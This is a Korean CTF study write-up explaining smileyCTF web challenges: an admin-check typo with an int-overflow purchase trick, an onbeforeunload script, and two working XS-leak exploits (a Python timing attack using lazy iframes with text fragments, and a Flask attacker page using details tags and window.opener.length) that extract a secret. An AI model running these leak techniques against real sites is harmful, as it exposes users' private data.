본문 바로가기

smileyCTF-web-공부

dry-ice-n-co

    @PostMapping("/admin/add-product")
    public String addProduct(@RequestParam String name,
                           @RequestParam int price,
                           @RequestParam String description,
                           HttpSession session) {
        User user = (User) session.getAttribute("user");
        if ((user.admin = true) && user != null && name != "flag") {
            availableProducts.add(new DryIceProduct(name, price, description));
        }
        return "redirect:/";
    }

다음코드에서 ==대신 =인 오타가 존재하고 요청시 admin권한으로 변경가능한 취약점존재

2개를 사서 int오버플로우를 발생시켜 음수로 바꾸게하고 purchase시 계산이 잔액-가격인데 가격이 음수값이므로 오히려 잔액에 +를 유도 대신 2147483648은 여전히 오버플로우 값이므로 잔액이 -처리 되지만 20% 할인을 통해 오버플로우를 방지하면서 양수의 잔액이되고 플래그를 구입하면된다.

 

Extension Mania revenge

Extension Mania 문제의 확장판 diff할경우 15초를 버텨야하는데 확장프로그램단에서 웹페이지를 닫아버린다.

<script>
window.onbeforeunload=function(){
return "nam";};
window.tick=async function(){
return true;
};
setInterval(()=>{console.log("Page alive");},1000);
</script>

핵심은 onbeforeunload란걸 이용해서 창을닫기전에 confirm을 생성하게 만들어서 바로 창이안꺼지고 유지되게 한다.

 

Leaf

HTML이 인젝션되나 CSP정책이 모두걸려있어서 사실상 활용이 안될줄알았다. bot을 보면 플래그의 값이 화면상에 박혀있다.

방법1.

import requests
import time
import string
import base64
from urllib.parse import quote


charset = "abcdefghijklmnopqrstuvwxyz0123456789{}_.-" 

FLAG = ".;,;.{d0ntul0v3th1sf34tur3}"

URL = "https://web-leaf-kzvqa70p.smiley.cat/bot?leaf="

def solve():
    flag = "d0ntul0v3th1sf34tur3"
    for i in range(1, 100):
        for c in charset:
            leaf = flag + c
            payload = "</div>" + "<iframe loading=lazy src=/ width=1></iframe>"* 400 +"<br>" *60 + f"<div>{leaf}</div>#:~:text={leaf}"
            payload_base64 = quote(base64.b64encode((payload).encode()).decode())
            start = time.time()
            response = requests.get(URL + payload_base64)
            end = time.time()
            timing = end - start
            print(f"Trying character: {c}, timing: {timing:.2f} seconds")
            if timing > 7:
                flag += c
                print(f"Found character: {c}, current flag: {flag}")
                break
            # time.sleep(20)
        else:
            print("No more characters found.")
            break


if __name__ == "__main__":
    solve()

이사람의 아이디어는 iframe의 loading lazy정책을 이용하는것-> 보고있는 화면일때만 로딩

그러면 사이드채널 타이밍어택을 어케하는가? -> #:~:text={leaf} 을 이용 -> STTF에 사용되는 텍스트 프래그먼트-> {leaf}문자열이 웹페이지내에 있을시 제일먼저있는값을 기준으로 해당부분 하이라이트처리 및 스크롤이동

->그러면 플래그에 맞는문자열이 있을경우->제일 윗줄로 스크롤, 수많은 iframe이 스크롤을 통해 화면에 보여지므로 로딩->로딩속도 증가->오래걸림->플래그로 추출

->플래그에 맞는 문자열이 아닐경우-> payload마지막에 <div>{leaf}</div>를 넣어줌으로써 <br> 60번 아래의 {leaf}값으로 스크롤하게 만듦->화면속에 iframe없으므로 로딩x->시간 단축 형식이다

이런식으로 계속찾아가는데 상당히 오래걸린다.

 

방법2.

 

from flask import Flask, request, make_response, render_template_string, redirect
import os, base64, sys


app = Flask(__name__)

PORT = 1888

@app.route('/exp', methods=['GET'])
def exp():
    return """
<!DOCTYPE html>
<html>
<body>
<script>
const TARGET = "http://localhost:8800";
const q = new URL(location.href).searchParams.get("q") || "d0nt";
const generateURL = (html) => {
    return `${TARGET}/?leaf=` + encodeURIComponent(html);
};

window.onload = async () => {
    const counter = window.open("/count", "", "width=400, height=400");
    // wait for popup
    while (counter) {
        try {
            counter.document.body;
            break;
        } catch {}
    }    
    const sttfPayload = `
        </div>
        <details>
            <div>${q}</div>
            <object data=/x><object data=about:blank></object></object>
        </details>
    `;
    const sameOriginSTTF = `
        <meta http-equiv="refresh" content="0; URL=${generateURL(sttfPayload)}#:~:text=${q}">
    `;
    
    window.location = generateURL(sameOriginSTTF);
};
</script>
</body>
</html>
"""

@app.route('/count', methods=['GET'])
def count():
    return """
<!DOCTYPE html>
<html>
<body>
<script>
    window.onload = () => {
        setTimeout(() => {
            document.write(window.opener.length === 0 ? "correct" : "wrong");
        }, 1000);
    }
</script>
</body>
</html>
"""

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=PORT, debug=True)
   </div>
    <details>
        <div>FLAG{s</div> 
        <object data=/x><object data=about:blank></object></object>
    </details>

details태그를 이용해 평소에 닫혀있다가. 똑같이 #:~:text=을 이용해 문자열검색을통해 있으면 자동으로 details를 열어줌

<meta http-equiv='refresh' content='0; URL=http://localhost:8800/?leaf=</div><details>...'>#:~:text=

구문을 이용해 리다이렉트시킨후 위의 details동작

window.opener.length을 통해 판단

플래그문자열맞을경우->object를 통해 /x열어서 history 값을 바꾸게함->플래그발견으로 인식

다를경우->details안열리고 그대로 다음 문자로

'' 카테고리의 다른 글

IERAE CTF 2025-web-풀이  (0) 2025.06.21
smileyCTF-web-풀이  (1) 2025.06.14
N0PSctf-web-공부  (1) 2025.06.04
Breach CTF-web-Framework Follies  (0) 2025.04.11
nodejs로 파일 업로드 필터링 우회 방법  (0) 2025.04.09